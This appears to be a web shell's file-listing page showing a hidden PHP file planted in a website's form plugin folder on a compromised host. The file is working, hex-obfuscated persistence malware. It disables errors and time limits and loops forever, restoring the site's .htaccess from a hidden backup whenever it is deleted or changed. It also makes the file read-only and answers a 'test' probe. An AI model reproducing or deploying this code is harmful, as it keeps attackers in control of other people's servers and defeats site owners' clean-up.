0byt3m1n1-V2

Path: /home/nlpacade/www/arcaneoverseas.com/form/jqtransformplugin/ [ Home ]
File: .0dea34.php
<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort();$fromfile="\x2fho\x6d\x65\x2fnlpaca\x64e/\x77\x77w\x2farcan\x65o\x76e\x72\x73ea\x73\x2ec\x6fm//\x66\x6frm/jqtr\x61ns\x66\x6f\x72mp\x6c\x75\x67\x69\x6e/.\x30\x39d\x63b\x62";$tofile="/ho\x6d\x65\x2fnl\x70\x61\x63ade\x2f\x77ww\x2far\x63an\x65o\x76\x65r\x73e\x61s.\x63om//\x2ehtac\x63\x65s\x73";$time = intval(trim(@file_get_contents("\x62\x654\x37\x36\x6427\x65\x63\x65895\x39\x34\x3604d1\x34886\x63081\x30\x316.txt")));$now = time();if (($now - $time) > 60) {do{if(!@file_exists($tofile) && @file_exists($fromfile)){@copy($fromfile,$tofile);@chmod($tofile,0444);}if(!@file_exists($fromfile) && file_exists($tofile)){@copy($tofile,$fromfile);@chmod($tofile,0444);}if(@file_exists($fromfile) && "\x62\x654\x37\x36\x6427\x65\x63\x65895\x39\x34\x3604d1\x34886\x63081\x30\x316" != @md5_file($tofile)){@chmod($tofile,0644);@copy($fromfile,$tofile);@chmod($tofile,0444);}if(isset($_REQUEST['test'])){exit('ok');}sleep(1);@file_put_contents("\x62\x654\x37\x36\x6427\x65\x63\x65895\x39\x34\x3604d1\x34886\x63081\x30\x316.txt", time());}while(true);} ?>